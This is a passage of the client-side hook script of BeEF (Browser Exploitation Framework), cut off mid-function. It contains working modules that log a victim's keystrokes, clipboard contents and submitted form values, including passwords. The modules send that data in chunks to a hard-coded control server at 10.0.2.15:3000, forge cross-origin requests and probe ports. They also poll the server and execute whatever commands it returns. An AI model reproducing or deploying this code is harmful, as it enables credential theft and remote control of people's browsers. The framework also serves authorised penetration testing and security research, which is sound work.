8195 $j(document.body).on('cut', function() {
8196 setTimeout("beef.logger.cut();", 10);
8197 });
8198 $j(document.body).on('paste', function() {
8199 beef.logger.paste();
8200 });
8201 },
8202
8203 /**
8204 * Stops the logger
8205 */
8206 stop: function() {
8207 this.running = false;
8208 clearInterval(this.timer);
8209 $j(document).off('keypress');
8210 $j(document).off('click');
8211 $j(window).off('focus');
8212 $j(window).off('blur');
8213 $j('form').off('submit');
8214 $j(document.body).off('copy');
8215 $j(document.body).off('cut');
8216 $j(document.body).off('paste');
8217 // TODO: reset console
8218 },
8219
8220 /**
8221 * Get id
8222 */
8223 get_id: function() {
8224 this.id++;
8225 return this.id;
8226 },
8227
8228 /**
8229 * Click function fires when the user clicks the mouse.
8230 */
8231 click: function(e) {
8232 var c = new beef.logger.e();
8233 c.type = 'click';
8234 c.x = e.pageX;
8235 c.y = e.pageY;
8236 c.target = beef.logger.get_dom_identifier(e.target);
8237 this.events.push(c);
8238 },
8239
8240 /**
8241 * Fires when the window element has regained focus
8242 */
8243 win_focus: function(e) {
8244 var f = new beef.logger.e();
8245 f.type = 'focus';
8246 this.events.push(f);
8247 },
8248
8249 /**
8250 * Fires when the window element has lost focus
8251 */
8252 win_blur: function(e) {
8253 var b = new beef.logger.e();
8254 b.type = 'blur';
8255 this.events.push(b);
8256 },
8257
8258 /**
8259 * Keypress function fires everytime a key is pressed.
8260 * @param {Object} e: event object
8261 */
8262 keypress: function(e) {
8263 if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
8264 {
8265 beef.logger.push_stream();
8266 this.target = e.target;
8267 }
8268 this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
8269 },
8270
8271 /**
8272 * Copy function fires when the user copies data to the clipboard.
8273 */
8274 copy: function(x) {
8275 try {
8276 var c = new beef.logger.e();
8277 c.type = 'copy';
8278 c.data = clipboardData.getData("Text");
8279 this.events.push(c);
8280 } catch(e) {}
8281 },
8282
8283 /**
8284 * Cut function fires when the user cuts data to the clipboard.
8285 */
8286 cut: function() {
8287 try {
8288 var c = new beef.logger.e();
8289 c.type = 'cut';
8290 c.data = clipboardData.getData("Text");
8291 this.events.push(c);
8292 } catch(e) {}
8293 },
8294
8295 /**
8296 * Console function fires when data is sent to the browser console.
8297 */
8298 console: function(type, message) {
8299 try {
8300 var c = new beef.logger.e();
8301 c.type = 'console';
8302 c.data = type + ': ' + message;
8303 this.events.push(c);
8304 } catch(e) {}
8305 },
8306
8307 /**
8308 * Paste function fires when the user pastes data from the clipboard.
8309 */
8310 paste: function() {
8311 try {
8312 var c = new beef.logger.e();
8313 c.type = 'paste';
8314 c.data = clipboardData.getData("Text");
8315 this.events.push(c);
8316 } catch(e) {}
8317 },
8318
8319 /**
8320 * Submit function fires whenever a form is submitted
8321 * TODO: Cleanup this function
8322 */
8323 submit: function(e) {
8324 if (beef.logger.in_submit) {
8325 return true;
8326 }
8327 try {
8328 var f = new beef.logger.e();
8329 f.type = 'submit';
8330 f.target = beef.logger.get_dom_identifier(e.target);
8331 var jqForms = $j(e.target);
8332 var values = jqForms.find('input').map(function() {
8333 var inp = $j(this);
8334 return inp.attr('name') + '=' + inp.val();
8335 }).get().join();
8336 beef.debug('submitting form inputs: ' + values);
8337 /*
8338 for (var i = 0; i < e.target.elements.length; i++) {
8339 values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
8340 }
8341 */
8342 f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
8343 this.events.push(f);
8344 this.queue();
8345 this.target = null;
8346 beef.net.flush(function done() {
8347 beef.debug("Submitting the form");
8348 beef.logger.in_submit = true;
8349 jqForms.submit();
8350 beef.logger.in_submit = false;
8351 beef.debug("Done submitting");
8352 });
8353 e.preventDefault();
8354 return false;
8355 } catch(e) {}
8356 },
8357
8358 /**
8359 * Pushes the current stream to the events queue
8360 */
8361 push_stream: function() {
8362 if (this.stream.length > 0)
8363 {
8364 this.events.push(beef.logger.parse_stream());
8365 this.stream = [];
8366 }
8367 },
8368
8369 /**
8370 * Translate DOM Object to a readable string
8371 */
8372 get_dom_identifier: function(target) {
8373 target = (target == null) ? this.target : target;
8374 var id = '';
8375 if (target)
8376 {
8377 id = target.tagName.toLowerCase();
8378 id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
8379 id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
8380 }
8381 return id;
8382 },
8383
8384 /**
8385 * Formats the timestamp
8386 * @return {String} timestamp string
8387 */
8388 get_timestamp: function() {
8389 var d = new Date();
8390 return ((d.getTime() - this.time) / 1000).toFixed(3);
8391 },
8392
8393 /**
8394 * Parses stream array and creates history string
8395 */
8396 parse_stream: function() {
8397 var s = '';
8398 var mods = '';
8399 for (var i in this.stream){
8400 try{
8401 var mod = this.stream[i]['modifiers'];
8402 s += String.fromCharCode(this.stream[i]['char']);
8403 if(typeof mod != 'undefined' &&
8404 (mod['alt'] == true ||
8405 mod['ctrl'] == true ||
8406 mod['shift'] == true)){
8407 mods += (mod['alt']) ? ' [Alt] ' : '';
8408 mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
8409 mods += (mod['shift']) ? ' [Shift] ' : '';
8410 mods += String.fromCharCode(this.stream[i]['char']);
8411 }
8412
8413 }catch(e){}
8414 }
8415 var k = new beef.logger.e();
8416 k.type = 'keys';
8417 k.target = beef.logger.get_dom_identifier();
8418 k.data = s;
8419 k.mods = mods;
8420 return k;
8421 },
8422
8423 /**
8424 * Queue results to be sent back to framework
8425 */
8426 queue: function() {
8427 beef.logger.push_stream();
8428 if (this.events.length > 0)
8429 {
8430 beef.net.queue('/event', 0, this.events);
8431 this.events = [];
8432 }
8433 }
8434
8435};
8436
8437beef.regCmp('beef.logger');
8438
8439
8440//
8441// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
8442// Browser Exploitation Framework (BeEF) - http://beefproject.com
8443// See the file 'doc/COPYING' for copying permission
8444//
8445
8446/*!
8447 * @literal object: beef.net
8448 *
8449 * Provides basic networking functions,
8450 * like beef.net.request and beef.net.forgeRequest,
8451 * used by BeEF command modules and the Requester extension,
8452 * as well as beef.net.send which is used to return commands
8453 * to BeEF server-side components.
8454 *
8455 * Also, it contains the core methods used by the XHR-polling
8456 * mechanism (flush, queue)
8457 */
8458beef.net = {
8459
8460 host: "10.0.2.15",
8461 port: "3000",
8462 hook: "/hook.js",
8463 httpproto: "http",
8464 handler: '/dh',
8465 chop: 500,
8466 pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
8467 sid_count: 0,
8468 cmd_queue: [],
8469
8470 /**
8471 * Command object. This represents the data to be sent back to BeEF,
8472 * using the beef.net.send() method.
8473 */
8474 command: function () {
8475 this.cid = null;
8476 this.results = null;
8477 this.status = null;
8478 this.handler = null;
8479 this.callback = null;
8480 },
8481
8482 /**
8483 * Packet object. A single chunk of data. X packets -> 1 stream
8484 */
8485 packet: function () {
8486 this.id = null;
8487 this.data = null;
8488 },
8489
8490 /**
8491 * Stream object. Contains X packets, which are command result chunks.
8492 */
8493 stream: function () {
8494 this.id = null;
8495 this.packets = [];
8496 this.pc = 0;
8497 this.get_base_url_length = function () {
8498 return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
8499 };
8500 this.get_packet_data = function () {
8501 var p = this.packets.shift();
8502 return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
8503 };
8504 },
8505
8506 /**
8507 * Response Object - used in the beef.net.request callback
8508 * NOTE: as we are using async mode, the response object will be empty if returned.
8509 * Using sync mode, request obj fields will be populated.
8510 */
8511 response: function () {
8512 this.status_code = null; // 500, 404, 200, 302
8513 this.status_text = null; // success, timeout, error, ...
8514 this.response_body = null; // "<html>…." if not a cross-origin request
8515 this.port_status = null; // tcp port is open, closed or not http
8516 this.was_cross_domain = null; // true or false
8517 this.was_timedout = null; // the user specified timeout was reached
8518 this.duration = null; // how long it took for the request to complete
8519 this.headers = null; // full response headers
8520 },
8521
8522 /**
8523 * Queues the specified command results.
8524 * @param: {String} handler: the server-side handler that will be called
8525 * @param: {Integer} cid: command id
8526 * @param: {String} results: the data to send
8527 * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
8528 * @param: {Function} callback: the function to call after execution
8529 */
8530 queue: function (handler, cid, results, status, callback) {
8531 if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
8532 var s = new beef.net.command();
8533 s.cid = cid;
8534 s.results = beef.net.clean(results);
8535 s.status = status;
8536 s.callback = callback;
8537 s.handler = handler;
8538 this.cmd_queue.push(s);
8539 }
8540 },
8541
8542 /**
8543 * Queues the current command results and flushes the queue straight away.
8544 * NOTE: Always send Browser Fingerprinting results
8545 * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
8546 * even if WebSockets are enabled.
8547 * @param: {String} handler: the server-side handler that will be called
8548 * @param: {Integer} cid: command id
8549 * @param: {String} results: the data to send
8550 * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
8551 * @param: {Function} callback: the function to call after execution
8552 * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
8553 */
8554 send: function (handler, cid, results, exec_status, callback) {
8555 // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
8556 var status = 0;
8557 if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
8558
8559 if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
8560 this.queue(handler, cid, results, status, callback);
8561 this.flush();
8562 } else {
8563 try {
8564 beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
8565 '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
8566 '", "status": "' + exec_status +
8567 '", "callback": "' + callback +
8568 '","bh":"' + beef.session.get_hook_session_id() + '" }');
8569 } catch (e) {
8570 this.queue(handler, cid, results, status, callback);
8571 this.flush();
8572 }
8573 }
8574
8575 return status;
8576 },
8577
8578 /**
8579 * Flush all currently queued command results to the framework,
8580 * chopping the data in chunks ('chunk' method) which will be re-assembled
8581 * server-side by the network stack.
8582 * NOTE: currently 'flush' is used only with the default
8583 * XHR-polling mechanism. If WebSockets are used, the data is sent
8584 * back to BeEF straight away.
8585 */
8586 flush: function (callback) {
8587 if (this.cmd_queue.length > 0) {
8588 var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
8589 this.cmd_queue.length = 0;
8590 this.sid_count++;
8591 var stream = new this.stream();
8592 stream.id = this.sid_count;
8593 var pad = stream.get_base_url_length() + this.pad;
8594 //cant continue if chop amount is too low
8595 if ((this.chop - pad) > 0) {
8596 var data = this.chunk(data, (this.chop - pad));
8597 for (var i = 1; i <= data.length; i++) {
8598 var packet = new this.packet();
8599 packet.id = i;
8600 packet.data = data[(i - 1)];
8601 stream.packets.push(packet);
8602 }
8603 stream.pc = stream.packets.length;
8604 this.push(stream, callback);
8605 }
8606 } else {
8607 if ((typeof callback != 'undefined') && (callback != null)) {
8608 callback();
8609 }
8610 }
8611 },
8612
8613 /**
8614 * Split the input data into chunk lengths determined by the amount parameter.
8615 * @param: {String} str: the input data
8616 * @param: {Integer} amount: chunk length
8617 */
8618 chunk: function (str, amount) {
8619 if (typeof amount == 'undefined') n = 2;
8620 return str.match(RegExp('.{1,' + amount + '}', 'g'));
8621 },
8622
8623 /**
8624 * Push the input stream back to the BeEF server-side components.
8625 * It uses beef.net.request to send back the data.
8626 * @param: {Object} stream: the stream object to be sent back.
8627 */
8628 push: function (stream, callback) {
8629 //need to implement wait feature here eventually
8630 if (typeof callback === 'undefined') {
8631 callback = null;
8632 }
8633 for (var i = 0; i < stream.pc; i++) {
8634 var cb = null;
8635 if (i == (stream.pc - 1)) {
8636 cb = callback;
8637 }
8638 this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
8639 stream.get_packet_data(), 10, 'text', cb);
8640 }
8641 },
8642
8643 /**
8644 * Performs http requests
8645 * @param: {String} scheme: HTTP or HTTPS
8646 * @param: {String} method: GET or POST
8647 * @param: {String} domain: bindshell.net, 192.168.3.4, etc
8648 * @param: {Int} port: 80, 5900, etc
8649 * @param: {String} path: /path/to/resource
8650 * @param: {String} anchor: this is the value that comes after the # in the URL
8651 * @param: {String} data: This will be used as the query string for a GET or post data for a POST
8652 * @param: {Int} timeout: timeout the request after N seconds
8653 * @param: {String} dataType: specify the data return type expected (ie text/html/script)
8654 * @param: {Function} callback: call the callback function at the completion of the method
8655 *
8656 * @return: {Object} response: this object contains the response details
8657 */
8658 request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
8659 //check if same domain or cross domain
8660 var cross_domain = true;
8661 if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
8662 if (document.location.port == "" || document.location.port == null) {
8663 cross_domain = !(port == "80" || port == "443");
8664 }
8665 }
8666
8667 //build the url
8668 var url = "";
8669 if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
8670 url = path;
8671 } else {
8672 url = scheme + "://" + domain;
8673 url = (port != null) ? url + ":" + port : url;
8674 url = (path != null) ? url + path : url;
8675 url = (anchor != null) ? url + "#" + anchor : url;
8676 }
8677
8678 //define response object
8679 var response = new this.response;
8680 response.was_cross_domain = cross_domain;
8681 var start_time = new Date().getTime();
8682
8683 /*
8684 * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
8685 * This will turn POSTs into GETs for remote-domain requests.
8686 */
8687 if (method == "POST") {
8688 $j.ajaxSetup({
8689 dataType: dataType
8690 });
8691 } else {
8692 $j.ajaxSetup({
8693 dataType: 'script'
8694 });
8695 }
8696
8697 //build and execute the request
8698 $j.ajax({type: method,
8699 url: url,
8700 data: data,
8701 timeout: (timeout * 1000),
8702
8703 //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
8704 beforeSend: function (xhr) {
8705 if (method == "POST") {
8706 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
8707 }
8708 },
8709 success: function (data, textStatus, xhr) {
8710 var end_time = new Date().getTime();
8711 response.status_code = xhr.status;
8712 response.status_text = textStatus;
8713 response.response_body = data;
8714 response.port_status = "open";
8715 response.was_timedout = false;
8716 response.duration = (end_time - start_time);
8717 },
8718 error: function (jqXHR, textStatus, errorThrown) {
8719 var end_time = new Date().getTime();
8720 response.response_body = jqXHR.responseText;
8721 response.status_code = jqXHR.status;
8722 response.status_text = textStatus;
8723 response.duration = (end_time - start_time);
8724 response.port_status = "open";
8725 },
8726 complete: function (jqXHR, textStatus) {
8727 response.status_code = jqXHR.status;
8728 response.status_text = textStatus;
8729 response.headers = jqXHR.getAllResponseHeaders();
8730 // determine if TCP port is open/closed/not-http
8731 if (textStatus == "timeout") {
8732 response.was_timedout = true;
8733 response.response_body = "ERROR: Timed out\n";
8734 response.port_status = "closed";
8735 } else if (textStatus == "parsererror") {
8736 response.port_status = "not-http";
8737 } else {
8738 response.port_status = "open";
8739 }
8740 }
8741 }).always(function () {
8742 if (callback != null) {
8743 callback(response);
8744 }
8745 });
8746 return response;
8747 },
8748
8749 /*
8750 * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
8751 * - requestid: needed on the callback
8752 * - allowCrossDomain: set cross-domain requests as allowed or blocked
8753 *
8754 * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
8755 * Example usage:
8756 * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
8757 * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
8758 * alert(response.response_body)})
8759 */
8760 forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
8761
8762 if (domain == "undefined" || path == "undefined") {
8763 beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
8764 return;
8765 }
8766
8767 // check if same domain or cross domain
8768 var cross_domain = true;
8769 if (document.domain == domain && document.location.protocol == scheme + ':') {
8770 if (document.location.port == "" || document.location.port == null) {
8771 cross_domain = !(port == "80" || port == "443");
8772 } else {
8773 if (document.location.port == port) cross_domain = false;
8774 }
8775 }
8776
8777 // build the url
8778 var url = "";
8779 if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
8780 url = path;
8781 } else {
8782 url = scheme + "://" + domain;
8783 url = (port != null) ? url + ":" + port : url;
8784 url = (path != null) ? url + path : url;
8785 url = (anchor != null) ? url + "#" + anchor : url;
8786 }
8787
8788 // define response object
8789 var response = new this.response;
8790 response.was_cross_domain = cross_domain;
8791 var start_time = new Date().getTime();
8792
8793 // if cross-domain requests are not allowed and the request is cross-domain
8794 // don't proceed and return
8795 if (allowCrossDomain == "false" && cross_domain) {
8796 beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
8797 response.status_code = -1;
8798 response.status_text = "crossdomain";
8799 response.port_status = "crossdomain";
8800 response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
8801 response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
8802 if (callback != null) callback(response, requestid);
8803 return response;
8804 }
8805
8806 // if the request was cross-domain from a HTTPS origin to HTTP
8807 // don't proceed and return
8808 if (document.location.protocol == 'https:' && scheme == 'http') {
8809 beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
8810 response.status_code = -1;
8811 response.status_text = "mixedcontent";
8812 response.port_status = "mixedcontent";
8813 response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
8814 response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
8815 if (callback != null) callback(response, requestid);
8816 return response;
8817 }
8818
8819 /*
8820 * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
8821 * This will turn POSTs into GETs for remote-domain requests.
8822 */
8823 if (method == "POST") {
8824 $j.ajaxSetup({
8825 dataType: dataType
8826 });
8827 } else {
8828 $j.ajaxSetup({
8829 dataType: 'script'
8830 });
8831 }
8832
8833 // this is required for bugs in IE so data can be transferred back to the server
8834 if (beef.browser.isIE()) {
8835 dataType = 'script'
8836 }
8837
8838 $j.ajax({type: method,
8839 dataType: dataType,
8840 url: url,
8841 headers: headers,
8842 timeout: (timeout * 1000),
8843
8844 //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
8845 beforeSend: function (xhr) {
8846 if (method == "POST") {
8847 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
8848 }
8849 },
8850
8851 data: data,
8852
8853 // http server responded successfully
8854 success: function (data, textStatus, xhr) {
8855 var end_time = new Date().getTime();
8856 response.status_code = xhr.status;
8857 response.status_text = textStatus;
8858 response.response_body = data;
8859 response.was_timedout = false;
8860 response.duration = (end_time - start_time);
8861 },
8862
8863 // server responded with a http error (403, 404, 500, etc)
8864 // or server is not a http server
8865 error: function (xhr, textStatus, errorThrown) {
8866 var end_time = new Date().getTime();
8867 response.response_body = xhr.responseText;
8868 response.status_code = xhr.status;
8869 response.status_text = textStatus;
8870 response.duration = (end_time - start_time);
8871 },
8872
8873 complete: function (xhr, textStatus) {
8874 // cross-domain request
8875 if (cross_domain) {
8876
8877 response.port_status = "crossdomain";
8878
8879 if (xhr.status != 0) {
8880 response.status_code = xhr.status;
8881 } else {
8882 response.status_code = -1;
8883 }
8884
8885 if (textStatus) {
8886 response.status_text = textStatus;
8887 } else {
8888 response.status_text = "crossdomain";
8889 }
8890
8891 if (xhr.getAllResponseHeaders()) {
8892 response.headers = xhr.getAllResponseHeaders();
8893 } else {
8894 response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
8895 }
8896
8897 if (!response.response_body) {
8898 response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
8899 }
8900
8901 } else {
8902 // same-domain request
8903 response.status_code = xhr.status;
8904 response.status_text = textStatus;
8905 response.headers = xhr.getAllResponseHeaders();
8906
8907 // determine if TCP port is open/closed/not-http
8908 if (textStatus == "timeout") {
8909 response.was_timedout = true;
8910 response.response_body = "ERROR: Timed out\n";
8911 response.port_status = "closed";
8912 /*
8913 * With IE we need to explicitly set the dataType to "script",
8914 * so there will be always parse-errors if the content is != javascript
8915 * */
8916 } else if (textStatus == "parsererror") {
8917 response.port_status = "not-http";
8918 if (beef.browser.isIE()) {
8919 response.status_text = "success";
8920 response.port_status = "open";
8921 }
8922 } else {
8923 response.port_status = "open";
8924 }
8925 }
8926 callback(response, requestid);
8927 }
8928 });
8929 return response;
8930 },
8931
8932 //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
8933 //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
8934 clean: function (r) {
8935 if (this.array_has_string_key(r)) {
8936 var obj = {};
8937 for (var key in r)
8938 obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
8939 return obj;
8940 }
8941 return r;
8942 },
8943
8944 //Detects if an array has a string key
8945 array_has_string_key: function (arr) {
8946 if ($j.isArray(arr)) {
8947 try {
8948 for (var key in arr)
8949 if (isNaN(parseInt(key))) return true;
8950 } catch (e) {
8951 }
8952 }
8953 return false;
8954 },
8955
8956 /**
8957 * Checks if the specified port is valid
8958 */
8959 is_valid_port: function (port) {
8960 if (isNaN(port)) return false;
8961 if (port > 65535 || port < 0) return false;
8962 return true;
8963 },
8964
8965 /**
8966 * Checks if the specified IP address is valid
8967 */
8968 is_valid_ip: function (ip) {
8969 if (ip == null) return false;
8970 var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
8971 if (ip_match == null) return false;
8972 return true;
8973 },
8974
8975 /**
8976 * Checks if the specified IP address range is valid
8977 */
8978 is_valid_ip_range: function (ip_range) {
8979 if (ip_range == null) return false;
8980 var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
8981 if (range_match == null || range_match[1] == null) return false;
8982 return true;
8983 },
8984
8985 /**
8986 * Sends back browser details to framework, calling beef.browser.getDetails()
8987 */
8988 browser_details: function () {
8989 var details = beef.browser.getDetails();
8990 var res = null;
8991 details['HookSessionID'] = beef.session.get_hook_session_id();
8992 this.send('/init', 0, details);
8993 if(details != null)
8994 res = true;
8995
8996 return res;
8997 }
8998
8999};
9000
9001
9002beef.regCmp('beef.net');
9003
9004
9005//
9006// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9007// Browser Exploitation Framework (BeEF) - http://beefproject.com
9008// See the file 'doc/COPYING' for copying permission
9009//
9010
9011/*!
9012 * @Literal object: beef.updater
9013 *
9014 * Object in charge of getting new commands from the BeEF framework and execute them.
9015 * The XHR-polling channel is managed here. If WebSockets are enabled,
9016 * websocket.ls is used instead.
9017 */
9018beef.updater = {
9019
9020 // XHR-polling timeout.
9021 xhr_poll_timeout: "1000",
9022 beefhook: "BEEFHOOK",
9023
9024 // A lock.
9025 lock: false,
9026
9027 // An object containing all values to be registered and sent by the updater.
9028 objects: new Object(),
9029
9030 /*
9031 * Registers an object to always send when requesting new commands to the framework.
9032 * @param: {String} the name of the object.
9033 * @param: {String} the value of that object.
9034 *
9035 * @example: beef.updater.regObject('java_enabled', 'true');
9036 */
9037 regObject: function(key, value) {
9038 this.objects[key] = escape(value);
9039 },
9040
9041 // Checks for new commands from the framework and runs them.
9042 check: function() {
9043 if(this.lock == false) {
9044 if (beef.logger.running) {
9045 beef.logger.queue();
9046 }
9047 beef.net.flush();
9048 if(beef.commands.length > 0) {
9049 this.execute_commands();
9050 }else {
9051 this.get_commands(); /*Polling*/
9052 }
9053 }
9054 /* The following gives a stupid syntax error in IE, which can be ignored*/
9055 setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
9056 },
9057
9058 /**
9059 * Gets new commands from the framework.
9060 */
9061 get_commands: function() {
9062 try {
9063 this.lock = true;
9064 beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
9065 if (response.body != null && response.body.length > 0)
9066 beef.updater.execute_commands();
9067 });
9068 } catch(e) {
9069 this.lock = false;
9070 return;
9071 }
9072 this.lock = false;
9073 },
9074
9075 /**
9076 * Executes the received commands, if any.
9077 */
9078 execute_commands: function() {
9079 if(beef.commands.length == 0) return;
9080 this.lock = true;
9081 while(beef.commands.length > 0) {
9082 command = beef.commands.pop();
9083 try {
9084 command();
9085 } catch(e) {
9086 beef.debug('execute_commands - command failed to execute: ' + e.message);
9087 // prints the command source to be executed, to better trace errors
9088 // beef.client_debug must be enabled in the main config
9089 beef.debug(command.toString());
9090 }
9091 }
9092 this.lock = false;
9093 }
9094};
9095
9096beef.regCmp('beef.updater');
9097
9098
9099//
9100// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
9101// Browser Exploitation Framework (BeEF) - http://beefproject.com
9102// See the file 'doc/COPYING' for copying permission
9103//
9104
9105// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
9106
9107beef.encode = {};
9108
9109beef.encode.base64 = {
9110
9111 keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
9112
9113 encode : function (input) {
9114 if (window.btoa) {
9115 return btoa(unescape(encodeURIComponent(input)));
9116 }
9117
9118 var output = "";
9119 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
9120 var i = 0;
9121
9122 input = beef.encode.base64.utf8_encode(input);
9123
9124 while (i < input.length) {
9125
9126 chr1 = input.charCodeAt(i++);
9127 chr2 = input.charCodeAt(i++);
9128 chr3 = input.charCodeAt(i++);
9129
9130 enc1 = chr1 >> 2;
9131 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
9132 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
9133 enc4 = chr3 & 63;
9134
9135 if (isNaN(chr2)) {
9136 enc3 = enc4 = 64;
9137 } else if (isNaN(chr3)) {
9138 enc4 = 64;
9139 }
9140
9141 output = output +
9142 this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
9143 this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
9144
9145 }
9146
9147 return output;
9148 },
9149
9150
9151 decode : function (input) {
9152 if (window.atob) {
9153 return escape(atob(input));
9154 }
9155
9156 var output = "";
9157 var chr1, chr2, chr3;
9158 var enc1, enc2, enc3, enc4;
9159 var i = 0;
9160
9161 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
9162
9163 while (i < input.length) {
9164
9165 enc1 = this.keyStr.indexOf(input.charAt(i++));
9166 enc2 = this.keyStr.indexOf(input.charAt(i++));
9167 enc3 = this.keyStr.indexOf(input.charAt(i++));
9168 enc4 = this.keyStr.indexOf(input.charAt(i++));
9169
9170 chr1 = (enc1 << 2) | (enc2 >> 4);
9171 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
9172 chr3 = ((enc3 & 3) << 6) | enc4;
9173
9174 output = output + String.fromCharCode(chr1);
9175
9176 if (enc3 != 64) {
9177 output = output + String.fromCharCode(chr2);
9178 }
9179 if (enc4 != 64) {
9180 output = output + String.fromCharCode(chr3);
9181 }
9182
9183 }
9184
9185 output = beef.encode.base64.utf8_decode(output);
9186
9187 return output;
9188
9189 },
9190
9191
9192 utf8_encode : function (string) {
9193 string = string.replace(/\r\n/g,"\n");
9194 var utftext = "";
9195
9196 for (var n = 0; n < string.length; n++) {
9197
9198 var c = string.charCodeAt(n);
9199
9200 if (c < 128) {
9201 utftext += String.fromCharCode(c);
9202 }
9203 else if((c > 127) && (c < 2048)) {
9204 utftext += String.fromCharCode((c >> 6) | 192);
9205 utftext += String.fromCharCode((c & 63) | 128);
9206 }
9207 else {
9208 utftext += String.fromCharCode((c >> 12) | 224);
9209 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
9210 utftext += String.fromCharCode((c & 63) | 128);
9211 }
9212
9213 }
9214
9215 return utftext;
9216 },
9217
9218 utf8_decode : function (utftext) {
9219 var string = "";
9220 var i = 0;
9221 var c = c1 = c2 = 0;
9222
9223 while ( i < utftext.length ) {
9224
9225 c = utftext.charCodeAt(i);
9226
9227 if (c < 128) {
9228 string += String.fromCharCode(c);
9229 i++;
9230 }
9231 else if((c > 191) && (c < 224)) {
9232 c2 = utftext.charCodeAt(i+1);
9233 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
9234 i += 2;
9235 }
9236 else {
9237 c2 = utftext.charCodeAt(i+1);
